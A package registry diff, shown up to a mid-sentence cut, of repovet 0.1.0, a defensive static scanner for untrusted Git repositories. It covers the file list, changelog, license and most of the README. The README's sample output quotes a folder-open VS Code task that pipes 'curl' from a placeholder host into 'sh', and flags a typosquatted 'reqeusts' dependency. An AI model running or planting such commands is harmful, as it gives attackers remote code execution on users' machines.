repovet 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (146) hide show
  1. repovet-0.1.0/.gitignore +9 -0
  2. repovet-0.1.0/CHANGELOG.md +37 -0
  3. repovet-0.1.0/LICENSE +21 -0
  4. repovet-0.1.0/PKG-INFO +503 -0
  5. repovet-0.1.0/README.md +471 -0
  6. repovet-0.1.0/RULES.md +181 -0
  7. repovet-0.1.0/SECURITY.md +47 -0
  8. repovet-0.1.0/docs/report.schema.json +900 -0
  9. repovet-0.1.0/pyproject.toml +199 -0
  10. repovet-0.1.0/scripts/check_dist.py +110 -0
  11. repovet-0.1.0/src/repovet/__init__.py +3 -0
  12. repovet-0.1.0/src/repovet/__main__.py +6 -0
  13. repovet-0.1.0/src/repovet/analyzers/__init__.py +56 -0
  14. repovet-0.1.0/src/repovet/analyzers/agents.py +11 -0
  15. repovet-0.1.0/src/repovet/analyzers/autorun.py +14 -0
  16. repovet-0.1.0/src/repovet/analyzers/binaries.py +11 -0
  17. repovet-0.1.0/src/repovet/analyzers/dependencies.py +11 -0
  18. repovet-0.1.0/src/repovet/analyzers/download_exec.py +11 -0
  19. repovet-0.1.0/src/repovet/analyzers/obfuscation.py +11 -0
  20. repovet-0.1.0/src/repovet/analyzers/provenance.py +706 -0
  21. repovet-0.1.0/src/repovet/analyzers/trust.py +765 -0
  22. repovet-0.1.0/src/repovet/cli.py +498 -0
  23. repovet-0.1.0/src/repovet/data/SOURCES.md +72 -0
  24. repovet-0.1.0/src/repovet/data/languages.yaml +69 -0
  25. repovet-0.1.0/src/repovet/data/npm-top.txt +15916 -0
  26. repovet-0.1.0/src/repovet/data/provenance.yaml +129 -0
  27. repovet-0.1.0/src/repovet/data/pypi-top.txt +15006 -0
  28. repovet-0.1.0/src/repovet/data/trust.yaml +65 -0
  29. repovet-0.1.0/src/repovet/engine/__init__.py +1 -0
  30. repovet-0.1.0/src/repovet/engine/checks/__init__.py +37 -0
  31. repovet-0.1.0/src/repovet/engine/checks/base.py +436 -0
  32. repovet-0.1.0/src/repovet/engine/checks/blob.py +238 -0
  33. repovet-0.1.0/src/repovet/engine/checks/dependency.py +179 -0
  34. repovet-0.1.0/src/repovet/engine/checks/filename.py +48 -0
  35. repovet-0.1.0/src/repovet/engine/checks/import_ref.py +96 -0
  36. repovet-0.1.0/src/repovet/engine/checks/keypath.py +202 -0
  37. repovet-0.1.0/src/repovet/engine/checks/magic.py +115 -0
  38. repovet-0.1.0/src/repovet/engine/checks/metric.py +109 -0
  39. repovet-0.1.0/src/repovet/engine/checks/python_ast.py +113 -0
  40. repovet-0.1.0/src/repovet/engine/checks/regex.py +97 -0
  41. repovet-0.1.0/src/repovet/engine/checks/tree.py +91 -0
  42. repovet-0.1.0/src/repovet/engine/checks/unicode.py +257 -0
  43. repovet-0.1.0/src/repovet/engine/context.py +47 -0
  44. repovet-0.1.0/src/repovet/engine/loader.py +449 -0
  45. repovet-0.1.0/src/repovet/engine/runner.py +152 -0
  46. repovet-0.1.0/src/repovet/github/__init__.py +1 -0
  47. repovet-0.1.0/src/repovet/github/api.py +93 -0
  48. repovet-0.1.0/src/repovet/github/client.py +381 -0
  49. repovet-0.1.0/src/repovet/github/target.py +50 -0
  50. repovet-0.1.0/src/repovet/github/transport.py +53 -0
  51. repovet-0.1.0/src/repovet/limits.py +58 -0
  52. repovet-0.1.0/src/repovet/models.py +166 -0
  53. repovet-0.1.0/src/repovet/parsers/__init__.py +1 -0
  54. repovet-0.1.0/src/repovet/parsers/gitconfig.py +116 -0
  55. repovet-0.1.0/src/repovet/parsers/jsonc.py +36 -0
  56. repovet-0.1.0/src/repovet/parsers/manifests.py +345 -0
  57. repovet-0.1.0/src/repovet/parsers/structured.py +176 -0
  58. repovet-0.1.0/src/repovet/report/__init__.py +1 -0
  59. repovet-0.1.0/src/repovet/report/common.py +32 -0
  60. repovet-0.1.0/src/repovet/report/json_out.py +77 -0
  61. repovet-0.1.0/src/repovet/report/sanitize.py +67 -0
  62. repovet-0.1.0/src/repovet/report/sarif.py +181 -0
  63. repovet-0.1.0/src/repovet/report/terminal.py +227 -0
  64. repovet-0.1.0/src/repovet/rules/_filesets.yaml +287 -0
  65. repovet-0.1.0/src/repovet/rules/_patterns.yaml +53 -0
  66. repovet-0.1.0/src/repovet/rules/_unsupported.yaml +94 -0
  67. repovet-0.1.0/src/repovet/rules/agents.yaml +579 -0
  68. repovet-0.1.0/src/repovet/rules/autorun.yaml +1176 -0
  69. repovet-0.1.0/src/repovet/rules/binaries.yaml +276 -0
  70. repovet-0.1.0/src/repovet/rules/dependencies.yaml +179 -0
  71. repovet-0.1.0/src/repovet/rules/download_exec.yaml +130 -0
  72. repovet-0.1.0/src/repovet/rules/obfuscation.yaml +261 -0
  73. repovet-0.1.0/src/repovet/rules/provenance.yaml +204 -0
  74. repovet-0.1.0/src/repovet/rules/trust.yaml +272 -0
  75. repovet-0.1.0/src/repovet/sources/__init__.py +1 -0
  76. repovet-0.1.0/src/repovet/sources/gitmeta.py +271 -0
  77. repovet-0.1.0/src/repovet/sources/gitobjects.py +341 -0
  78. repovet-0.1.0/src/repovet/sources/gittree.py +152 -0
  79. repovet-0.1.0/src/repovet/sources/local.py +239 -0
  80. repovet-0.1.0/src/repovet/sources/remote.py +320 -0
  81. repovet-0.1.0/src/repovet/sources/tree.py +140 -0
  82. repovet-0.1.0/tests/conftest.py +100 -0
  83. repovet-0.1.0/tests/corpus/README.md +97 -0
  84. repovet-0.1.0/tests/corpus/corpus.yaml +78 -0
  85. repovet-0.1.0/tests/github_fake.py +181 -0
  86. repovet-0.1.0/tests/github_fixtures/README.md +22 -0
  87. repovet-0.1.0/tests/github_fixtures/established.json +397 -0
  88. repovet-0.1.0/tests/gitrepo.py +187 -0
  89. repovet-0.1.0/tests/golden/report.json +108 -0
  90. repovet-0.1.0/tests/golden/report.sarif +206 -0
  91. repovet-0.1.0/tests/golden/terminal_report.txt +37 -0
  92. repovet-0.1.0/tests/helpers.py +189 -0
  93. repovet-0.1.0/tests/rule_cases/agents.yaml +519 -0
  94. repovet-0.1.0/tests/rule_cases/autorun.yaml +1111 -0
  95. repovet-0.1.0/tests/rule_cases/binaries.yaml +264 -0
  96. repovet-0.1.0/tests/rule_cases/dependencies.yaml +208 -0
  97. repovet-0.1.0/tests/rule_cases/download_exec.yaml +155 -0
  98. repovet-0.1.0/tests/rule_cases/obfuscation.yaml +244 -0
  99. repovet-0.1.0/tests/rule_cases/provenance.yaml +141 -0
  100. repovet-0.1.0/tests/rule_cases/trust.yaml +255 -0
  101. repovet-0.1.0/tests/schemas/README.md +9 -0
  102. repovet-0.1.0/tests/schemas/sarif-schema-2.1.0.json +3389 -0
  103. repovet-0.1.0/tests/test_analyzers.py +64 -0
  104. repovet-0.1.0/tests/test_canary.py +54 -0
  105. repovet-0.1.0/tests/test_checks_base.py +103 -0
  106. repovet-0.1.0/tests/test_checks_blob.py +122 -0
  107. repovet-0.1.0/tests/test_checks_dependency.py +67 -0
  108. repovet-0.1.0/tests/test_checks_filename.py +31 -0
  109. repovet-0.1.0/tests/test_checks_import_ref.py +66 -0
  110. repovet-0.1.0/tests/test_checks_keypath.py +150 -0
  111. repovet-0.1.0/tests/test_checks_magic.py +46 -0
  112. repovet-0.1.0/tests/test_checks_python_ast.py +63 -0
  113. repovet-0.1.0/tests/test_checks_regex.py +71 -0
  114. repovet-0.1.0/tests/test_checks_tree.py +111 -0
  115. repovet-0.1.0/tests/test_checks_unicode.py +100 -0
  116. repovet-0.1.0/tests/test_cli.py +182 -0
  117. repovet-0.1.0/tests/test_corpus.py +56 -0
  118. repovet-0.1.0/tests/test_dogfood.py +16 -0
  119. repovet-0.1.0/tests/test_gitconfig.py +60 -0
  120. repovet-0.1.0/tests/test_github_client.py +405 -0
  121. repovet-0.1.0/tests/test_gittree.py +187 -0
  122. repovet-0.1.0/tests/test_history.py +299 -0
  123. repovet-0.1.0/tests/test_jsonc.py +47 -0
  124. repovet-0.1.0/tests/test_limits.py +37 -0
  125. repovet-0.1.0/tests/test_loader.py +148 -0
  126. repovet-0.1.0/tests/test_local.py +187 -0
  127. repovet-0.1.0/tests/test_manifests.py +173 -0
  128. repovet-0.1.0/tests/test_models.py +46 -0
  129. repovet-0.1.0/tests/test_network_lock.py +53 -0
  130. repovet-0.1.0/tests/test_performance.py +65 -0
  131. repovet-0.1.0/tests/test_provenance.py +211 -0
  132. repovet-0.1.0/tests/test_readme.py +36 -0
  133. repovet-0.1.0/tests/test_redos.py +117 -0
  134. repovet-0.1.0/tests/test_remote.py +301 -0
  135. repovet-0.1.0/tests/test_remote_http.py +96 -0
  136. repovet-0.1.0/tests/test_report_formats.py +228 -0
  137. repovet-0.1.0/tests/test_rule_cases.py +98 -0
  138. repovet-0.1.0/tests/test_runner.py +93 -0
  139. repovet-0.1.0/tests/test_sanitize.py +58 -0
  140. repovet-0.1.0/tests/test_self_check.py +168 -0
  141. repovet-0.1.0/tests/test_structured.py +89 -0
  142. repovet-0.1.0/tests/test_terminal.py +176 -0
  143. repovet-0.1.0/tests/test_tree.py +66 -0
  144. repovet-0.1.0/tests/test_trust.py +160 -0
  145. repovet-0.1.0/tests/test_trust_profile.py +306 -0
  146. repovet-0.1.0/uv.lock +662 -0
@@ -0,0 +1,9 @@
1
+ .venv/
2
+ __pycache__/
3
+ *.py[cod]
4
+ .mypy_cache/
5
+ .ruff_cache/
6
+ .pytest_cache/
7
+ build/
8
+ dist/
9
+ *.egg-info/
@@ -0,0 +1,37 @@
1
+ # Changelog
2
+
3
+ All notable changes to repovet are listed here. The format follows
4
+ [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and versions follow
5
+ [Semantic Versioning](https://semver.org/). Rule IDs are never renamed or reused; the
6
+ exit codes and the JSON report (`schema_version`) are stable interfaces.
7
+
8
+ ## [0.1.0] - 2026-10-29
9
+
10
+ First release.
11
+
12
+ ### Added
13
+
14
+ - `repovet scan PATH|URL` statically checks a local folder or a public GitHub
15
+ repository (`https://github.com/<owner>/<repo>`, optional `--ref`) without running
16
+ anything from it. URL targets are fetched as Git objects only, with dulwich, into a
17
+ temporary folder that is deleted after the scan.
18
+ - 126 detection rules in eight areas, defined as YAML data: auto-run code (`RC-AUTO`),
19
+ AI agent instructions and configuration (`RC-AGENT`), obfuscation (`RC-OBF`),
20
+ download-and-execute (`RC-DLX`), binaries and file-system tricks (`RC-BIN`),
21
+ dependencies (`RC-DEP`), provenance indicators (`RC-PROV`) and trust indicators
22
+ (`RC-TRUST`).
23
+ - Every finding has a rule ID, severity, confidence, file and line where it applies,
24
+ a reason and a recommendation. Gaps in coverage are listed under "Not checked".
25
+ - Provenance profile from the files and the Git history, and a trust profile from the
26
+ GitHub REST API (optional token from `GITHUB_TOKEN` or `GH_TOKEN`; `--offline` turns
27
+ the API off).
28
+ - Reports for the terminal, as JSON (`schema_version` 1.2) and as SARIF 2.1.0. Text from
29
+ the checked repository is masked before output.
30
+ - Options to filter (`--min-severity`), set the failure threshold (`--fail-on`), skip
31
+ rules (`--ignore-rule`), add rule folders (`--rules`) and set size and time limits.
32
+ - `repovet rules list` (with `--area` and `--markdown`).
33
+ - Exit codes: 0 no findings at or above the threshold, 1 findings at or above the
34
+ threshold, 2 usage error, 3 analysis aborted.
35
+ - Windows, macOS and Linux with Python 3.12 and 3.13.
36
+
37
+ [0.1.0]: https://github.com/m3xXmo0/repovet/releases/tag/v0.1.0
repovet-0.1.0/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 m3xXmo0
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
repovet-0.1.0/PKG-INFO ADDED
@@ -0,0 +1,503 @@
1
+ Metadata-Version: 2.5
2
+ Name: repovet
3
+ Version: 0.1.0
4
+ Summary: Vet a Git repository before you run it.
5
+ Project-URL: Homepage, https://github.com/m3xXmo0/repovet
6
+ Project-URL: Issues, https://github.com/m3xXmo0/repovet/issues
7
+ Project-URL: Changelog, https://github.com/m3xXmo0/repovet/blob/main/CHANGELOG.md
8
+ Author: m3xXmo0
9
+ License-Expression: MIT
10
+ License-File: LICENSE
11
+ Keywords: ai-agents,code-review,git,github,sarif,security,static-analysis,supply-chain
12
+ Classifier: Development Status :: 3 - Alpha
13
+ Classifier: Environment :: Console
14
+ Classifier: Intended Audience :: Developers
15
+ Classifier: Intended Audience :: Information Technology
16
+ Classifier: Natural Language :: English
17
+ Classifier: Operating System :: MacOS
18
+ Classifier: Operating System :: Microsoft :: Windows
19
+ Classifier: Operating System :: OS Independent
20
+ Classifier: Operating System :: POSIX :: Linux
21
+ Classifier: Programming Language :: Python :: 3
22
+ Classifier: Programming Language :: Python :: 3 :: Only
23
+ Classifier: Programming Language :: Python :: 3.12
24
+ Classifier: Programming Language :: Python :: 3.13
25
+ Classifier: Topic :: Security
26
+ Classifier: Topic :: Software Development :: Quality Assurance
27
+ Classifier: Topic :: Software Development :: Version Control :: Git
28
+ Requires-Python: >=3.12
29
+ Requires-Dist: dulwich==1.2.17
30
+ Requires-Dist: pyyaml==6.0.3
31
+ Description-Content-Type: text/markdown
32
+
33
+ # repovet
34
+
35
+ Vet a Git repository before you run it.
36
+
37
+ repovet statically checks an untrusted Git repository **before** you run, install,
38
+ build or open anything from it, and never executes code from it.
39
+
40
+ It is built around three questions:
41
+
42
+ | Category | Question |
43
+ |------------|-----------------------------------------------------------------------------|
44
+ | danger | Does anything run automatically, or is something hidden, obfuscated or injected? |
45
+ | trust | How do the owner, stars, contributors and maintenance look? |
46
+ | provenance | What is the repository made of, and how did it come about? |
47
+
48
+ The result is a list of findings plus an honest list of what was **not** checked.
49
+ repovet never says that a repository is safe.
50
+
51
+ ## Status
52
+
53
+ Early: version 0.1.0 is the first release. What works today:
54
+
55
+ - **Local folders and public GitHub repositories.** A URL like
56
+ `https://github.com/<owner>/<repo>` is fetched into a temporary folder as Git objects
57
+ only (no checkout, nothing from the repository is written under its own file name)
58
+ and deleted after the scan.
59
+ - **Reports** for the terminal, as JSON (`docs/report.schema.json`) or as SARIF 2.1.0
60
+ for code-scanning tools.
61
+ - **Provenance profile** (facts, not findings): languages, size, largest files,
62
+ top-level structure, usual project files that are present or missing, share of
63
+ generated or vendored files, license (file text and manifest) and notable files such
64
+ as AI agent configuration, dev containers or editor settings. With Git history (a URL
65
+ target, or a local folder with a `.git` folder): commits, time span, authors and
66
+ e-mail domains, signed commits, the share of files that arrived in the first commit
67
+ and AI tools named in commit messages.
68
+ - **Provenance indicators** (`info`/`low`, rules `RC-PROV-*`): one large initial commit,
69
+ commit dates in the future or edited, a history rewritten or created in one go, AI
70
+ tool trailers, "generated with" notes and committed AI session histories. They are
71
+ hints about how a repository came about, never a verdict: commit dates and authors
72
+ can be set by anyone.
73
+ - **Trust profile** (facts from the GitHub API, see [Trust](#trust-github-api)):
74
+ repository and owner age, account type, stars, forks, watchers, contributors,
75
+ commits, last commit, releases, open issues, archived/fork/template, default-branch
76
+ protection, the license GitHub detects, and for a local folder whether its HEAD
77
+ commit exists in the GitHub repository its Git remote names. `--offline` turns it off.
78
+ - **Trust indicators** (`info` to `medium`, rules `RC-TRUST-*`): a very new owner
79
+ account or a very young repository with many stars, most stars within one day, a fork
80
+ of a much more popular repository, a release that offers programs or archives from a
81
+ repository with hardly any code, archived or inactive repositories, a local HEAD that
82
+ GitHub does not know, a manifest that names another owner's repository, and an older,
83
+ more popular repository with the same name and description. They are indicators,
84
+ never a verdict, and there is no score.
85
+ - **Danger, six areas:** auto-run code (`autorun`), AI agent instructions and
86
+ configuration (`agents`), obfuscated code (`obfuscation`), download-and-execute
87
+ (`download_exec`), binaries and file-system tricks (`binaries`) and suspicious
88
+ dependencies (`dependencies`); see [What is checked](#what-is-checked).
89
+ - Windows, macOS and Linux with Python 3.12 or 3.13; the test suite runs on all three
90
+ in CI.
91
+
92
+ ## Installation
93
+
94
+ repovet needs Python 3.12 or newer. Install it as a command-line tool in its own
95
+ environment with [uv](https://docs.astral.sh/uv/) (uv downloads a matching Python if
96
+ needed) or pipx:
97
+
98
+ ```
99
+ uv tool install repovet
100
+ # or
101
+ pipx install repovet
102
+
103
+ repovet --version
104
+ ```
105
+
106
+ Runtime dependencies are PyYAML and [dulwich](https://www.dulwich.io/) (pure-Python
107
+ Git, which brings urllib3).
108
+
109
+ From source, with the exact versions pinned in `uv.lock`:
110
+
111
+ ```
112
+ git clone https://github.com/m3xXmo0/repovet.git
113
+ cd repovet
114
+ uv sync
115
+ uv run repovet --version
116
+ ```
117
+
118
+ In a source checkout, put `uv run` in front of the commands below.
119
+
120
+ ## Usage
121
+
122
+ ```
123
+ repovet scan PATH|URL [options]
124
+ ```
125
+
126
+ Examples:
127
+
128
+ ```
129
+ # Check a folder you downloaded or cloned
130
+ repovet scan D:\downloads\some-repo
131
+
132
+ # Check a public GitHub repository without cloning it yourself (default branch)
133
+ repovet scan https://github.com/pallets/flask
134
+
135
+ # A branch, a tag or a full commit id; keep the temporary Git objects for a look
136
+ repovet scan https://github.com/pallets/flask --ref 3.1.0
137
+ repovet scan https://github.com/pallets/flask --ref <40-character commit id> --keep-clone
138
+
139
+ # Plain output without colors (also set by the NO_COLOR environment variable)
140
+ repovet scan ./some-repo --no-color
141
+
142
+ # Only show high and critical findings
143
+ repovet scan ./some-repo --min-severity high
144
+
145
+ # Exit with 1 already on medium findings (default threshold: high)
146
+ repovet scan ./some-repo --fail-on medium
147
+
148
+ # Also check .venv, venv, node_modules, .tox, .nox and tool caches (skipped by default)
149
+ repovet scan ./some-repo --include-env-dirs
150
+
151
+ # JSON report to stdout, SARIF report into a file (never inside the checked folder)
152
+ repovet scan ./some-repo --format json
153
+ repovet scan ./some-repo --format sarif -o repovet.sarif
154
+
155
+ # Skip one rule, check larger files, add your own rules folder
156
+ repovet scan ./some-repo --ignore-rule RC-AGENT-001 --max-file-size 8MB --rules ./my-rules
157
+
158
+ # List the rules, optionally for one area
159
+ repovet rules list
160
+ repovet rules list --area agents
161
+ ```
162
+
163
+ All `scan` options:
164
+
165
+ | Option | Meaning |
166
+ |-------------------------|----------------------------------------------------------------------|
167
+ | `--min-severity LEVEL` | Hide findings below `info`, `low`, `medium`, `high` or `critical` (default: `info`). |
168
+ | `--fail-on LEVEL` | Exit with 1 if a finding has at least this level (default: `high`). |
169
+ | `--ignore-rule ID` | Do not run this rule (repeatable). |
170
+ | `--rules DIR` | Load additional rules from this folder (repeatable). |
171
+ | `--max-file-size SIZE` | Largest file whose content is checked (default: `2MB`). |
172
+ | `--include-env-dirs` | Also check environment and tool cache folders. |
173
+ | `--ref REF` | URL targets: branch, tag or full commit id (default: the default branch). |
174
+ | `--keep-clone` | URL targets: keep the temporary folder with the fetched Git objects; its path is printed. |
175
+ | `--max-clone-size SIZE` | URL targets: abort if the download is larger (default: `500MB`). |
176
+ | `--clone-timeout SECONDS` | URL targets: abort the download after this time (default: `300`). |
177
+ | `--format FORMAT` | `text` (default), `json` or `sarif`. |
178
+ | `-o`, `--output FILE` | Write the report to FILE instead of stdout. FILE must be outside the checked folder. |
179
+ | `--no-color` | Plain output without colors. |
180
+ | `--offline` | No GitHub API queries for the trust area (a URL target is still downloaded). |
181
+ | `-v`, `--verbose` | More detail. |
182
+
183
+ Rule suppressions and other configuration are only taken from the command line, never
184
+ from the checked repository (that content is controlled by whoever wrote the repository).
185
+
186
+ ## Sample output
187
+
188
+ An excerpt from a real scan of a small test folder (path shortened, the URLs are
189
+ placeholders):
190
+
191
+ ```
192
+ repovet 0.1.0 | local folder D:\src\demo | offline | 5 files | 126 rules
193
+ Lines starting with '>' are untrusted content quoted from the repository.
194
+
195
+ DANGER 1 critical | 2 high | 1 medium
196
+ CRITICAL RC-AUTO-021 .vscode/tasks.json:7 confidence high
197
+ Task starts on folder open and fetches or runs code: curl -s
198
+ https://example.invalid/i.sh | sh
199
+ > "command": "curl -s https://example.invalid/i.sh | sh",
200
+ Why This task starts as soon as the folder is opened in a trusted
201
+ workspace, and it downloads code, pipes into an interpreter or
202
+ decodes a payload.
203
+ Do Do not trust this folder in VS Code. Open it in Restricted
204
+ Mode or another editor and remove the task before working with
205
+ it.
206
+
207
+ HIGH RC-DEP-001 requirements.txt:2 confidence medium
208
+ 'reqeusts' looks like the popular package 'requests' (rank 7)
209
+ > reqeusts>=2.31
210
+ ...
211
+
212
+ NOT CHECKED
213
+ - trust (GitHub API): no GitHub repository is known for this folder (no Git remote in .git/config)
214
+ - Environment and tool cache folders (.venv, venv, node_modules, .tox, .nox, .mypy_cache, .ruff_cache, .pytest_cache) skipped; use --include-env-dirs to check them (1): node_modules
215
+ - No .git folder; the Git history was not checked
216
+ - Dependencies are checked by name and declared source only; their code and install scripts are not checked (no registry queries) (2): package.json, requirements.txt
217
+
218
+ repovet reports only what its 126 rules detect in the checked scope.
219
+ A missing finding is not proof that the repository is safe.
220
+ ```
221
+
222
+ Each finding has a rule ID, severity, confidence, file and line (where it applies), the
223
+ reason (`Why`) and a recommendation (`Do`). Text quoted from the repository is masked
224
+ before output: control characters and invisible Unicode characters are shown as
225
+ `<U+XXXX>`, so they cannot change your terminal or mislead a reader.
226
+
227
+ On a terminal with UTF-8 output, `|` in the header is shown as `·`.
228
+
229
+ Before "Not checked", the report shows the provenance profile. It describes the
230
+ repository; it is not a finding and not a quality score (same demo folder):
231
+
232
+ ```
233
+ PROVENANCE PROFILE facts, not findings
234
+ Files 5 files, 448 bytes; 5 text files with 22 lines, 0 binary
235
+ Languages TypeScript 100% (1 file)
236
+ Data, docs JSON (2), Markdown (1), Text (1)
237
+ Largest .vscode/tasks.json (209 bytes), package.json (118 bytes),
238
+ src/index.ts (47 bytes)
239
+ Top level .vscode/, src/, package.json, README.md, requirements.txt
240
+ Present readme
241
+ Missing license, tests, CI, docs, changelog, contributing guide, security
242
+ policy, code of conduct, code owners, dependency update bot
243
+ License no license file found
244
+ Notable editor and IDE settings (1): .vscode/tasks.json
245
+ package manifests (2): package.json, requirements.txt
246
+ ```
247
+
248
+ ## Trust (GitHub API)
249
+
250
+ For a GitHub URL, and for a local folder whose `.git/config` names a GitHub repository
251
+ as remote `origin` (or as its only remote), repovet asks the GitHub REST API about the
252
+ repository and its owner. The trust profile comes before the provenance profile
253
+ (excerpt, anonymized):
254
+
255
+ ```
256
+ TRUST PROFILE facts, not findings
257
+ Repository example-org/example-repo, created 2010-04-06 (16 years ago); last
258
+ push 2026-10-07 (22 days ago)
259
+ Owner example-org (organization), account created 2016-01-17 (10 years
260
+ ago); 16 public repositories, 2,654 followers
261
+ Popularity 74,935 stars, 17,200 forks, 2,130 watchers
262
+ Activity 5,562 commits on main, last 2026-10-07 (22 days ago); 864
263
+ contributors; 38 releases, latest 3.1.3 on 2026-02-19 (2 assets);
264
+ 4 open issues and pull requests
265
+ Status not archived; not a fork; main is protected; license BSD-3-Clause
266
+ (GitHub); no security policy in the files
267
+ API 6 requests, 52 of 60 left (resets 17:46 UTC), no token
268
+ Stars, forks, followers and accounts can be bought or faked; these
269
+ are indicators, not proof.
270
+ ```
271
+
272
+ - **A local folder's remote is only a claim.** Whoever prepared the folder chose it.
273
+ repovet therefore looks up the folder's HEAD commit in that repository (`Local`
274
+ line). GitHub also finds commits that exist only in forks of the repository, so
275
+ "found" is no proof either.
276
+ - **Requests:** usually 6 to 8 per scan: repository, owner, commits, contributors,
277
+ latest release, default branch, a name search (only for descriptions of 20 or more
278
+ characters), the local HEAD of a folder, the star times (one or two requests, only for
279
+ 50 to 200 stars) and the repository a manifest names (only if it belongs to another
280
+ owner). Counts come from one-item pages, so large repositories cost the same. Each scan stops after 25 requests
281
+ without a token (100 with one) and after 60 seconds.
282
+ - **Rate limit:** without a token GitHub allows 60 requests per hour and IP address.
283
+ repovet checks the remaining requests first (that check is free), waits at most 20
284
+ seconds when GitHub asks for a short pause, and otherwise stops and lists what was not
285
+ checked under "Not checked", with the time the limit resets. The scan itself
286
+ continues; the exit code does not change.
287
+ - **Token (optional):** set `GITHUB_TOKEN` or `GH_TOKEN` to raise the limit to 5,000
288
+ requests per hour. A fine-grained token without any permissions is enough, because
289
+ only public data is read. The token is sent only to `https://api.github.com`, never
290
+ on the command line, and never appears in reports, error messages or `-v` output.
291
+ The report says only whether a token was used and from which variable.
292
+
293
+ ```
294
+ # Bash
295
+ GITHUB_TOKEN=github_pat_... uv run repovet scan https://github.com/pallets/flask
296
+
297
+ # PowerShell
298
+ $env:GITHUB_TOKEN = "github_pat_..."; uv run repovet scan https://github.com/pallets/flask
299
+ ```
300
+ - **What is not used:** private repositories, GraphQL, the stargazer accounts
301
+ themselves, and any cache (every scan asks again).
302
+ - **Limits of the indicators:** the name search looks at the five most starred
303
+ repositories whose name contains the checked name; star times are only fetched for
304
+ 50 to 200 stars; only the latest release is looked at; manifests only in the root
305
+ folder. Stars, accounts, dates and descriptions can all be faked.
306
+
307
+ ## JSON and SARIF
308
+
309
+ - **JSON** (`--format json`): tool, target, scan data, a summary per severity and
310
+ category, the findings, the coverage gaps ("Not checked"), facts (`source` for URL
311
+ targets, `trust` and `provenance` profiles) and the disclaimer. The structure is
312
+ described in
313
+ [docs/report.schema.json](https://github.com/m3xXmo0/repovet/blob/main/docs/report.schema.json)
314
+ (`schema_version` 1.2).
315
+ - **SARIF 2.1.0** (`--format sarif`) for GitHub code scanning and SARIF viewers: every
316
+ rule with title, reason, recommendation and `security-severity`; `critical`/`high`
317
+ findings have level `error`, `medium` `warning`, `low`/`info` `note`. Paths are
318
+ relative to `SRCROOT` (the checked folder). Coverage gaps appear as tool execution
319
+ notifications. Findings that concern a whole file point to line 1. The trust and
320
+ provenance profiles are in `runs[0].properties.facts`. For URL targets, `SRCROOT` is the GitHub
321
+ URL of the checked commit.
322
+
323
+ Both formats contain only ASCII: text from the repository is sanitized like in the
324
+ terminal report, and file paths in SARIF are percent-encoded. `--min-severity` filters
325
+ both; the exit code never depends on the format.
326
+
327
+ ## What is checked
328
+
329
+ Severity says how bad it is if the finding means what the rule claims; confidence says
330
+ how likely that is. `critical` and `high` mean code runs automatically during normal use
331
+ (install, build, opening the folder, starting an agent) or something is clearly
332
+ disguised.
333
+
334
+ [RULES.md](https://github.com/m3xXmo0/repovet/blob/main/RULES.md) lists every rule
335
+ with its ID, severity and description; it is generated from the YAML rules in
336
+ `src/repovet/rules/`. `repovet rules list` shows the same list in the terminal
337
+ (`--area` to pick one area). The rules are grouped in these areas:
338
+
339
+ | Area | IDs | Looks for |
340
+ |------|-----|-----------|
341
+ | `autorun` | `RC-AUTO` | code that runs on install, build, opening the folder or a double-click (npm, Python builds, VS Code, dev containers, Git hooks and config, Makefiles, Windows, macOS and Linux shell files, GitHub Actions, MSBuild) |
342
+ | `agents` | `RC-AGENT` | instructions and settings for AI coding agents: hidden text, broad permissions, hooks, MCP servers, imports of secrets |
343
+ | `obfuscation` | `RC-OBF` | encoded or packed code, invisible characters and look-alike letters in source |
344
+ | `download_exec` | `RC-DLX` | code that downloads and runs more code |
345
+ | `binaries` | `RC-BIN` | programs, archives, disguised files and file-system tricks |
346
+ | `dependencies` | `RC-DEP` | typosquatted names and unusual package sources |
347
+ | `provenance` | `RC-PROV` | indicators from languages, structure and Git history |
348
+ | `trust` | `RC-TRUST` | indicators from the GitHub API (owner, stars, activity, copies) |
349
+
350
+ Rules are data, not code: each one is a YAML entry with an ID, severity, confidence,
351
+ file patterns, a check, and texts for message, reason and recommendation. Rule IDs are
352
+ never renamed or reused.
353
+
354
+ ## Limits: what is not checked
355
+
356
+ **"No findings" does not mean "safe".** It only means that none of the rules matched
357
+ in the part of the repository that was checked. repovet looks for known patterns with
358
+ few false alarms; an attacker who knows the rules can avoid them.
359
+
360
+ Not checked today:
361
+
362
+ - **Trust** needs the GitHub API: with `--offline`, for a folder without a GitHub
363
+ remote, or when the API cannot be reached or its rate limit is used up, the report
364
+ lists it under "Not checked" (the scan itself continues).
365
+ - **Provenance profile:** languages are recognized by file extension or name only, and
366
+ licenses by distinctive phrases of common license texts; neither is a code or legal
367
+ review. A local folder's `.git` folder is not part of the profile.
368
+ - **Git history** is read only from a URL clone or a local `.git` folder that has no
369
+ links, no alternates and no `commondir` (otherwise it is listed under "Not checked");
370
+ at most 100,000 commits. Commit dates, authors and trailers are free text chosen by
371
+ whoever commits, so all history facts are indicators. AI indicators only show that a
372
+ tool was named, not who or what wrote the code. SHA-256 repositories and reftable
373
+ refs are not supported.
374
+ - **Dependencies** are checked by name and declared source only, offline: names are
375
+ compared with lists of the most downloaded PyPI and npm packages shipped with
376
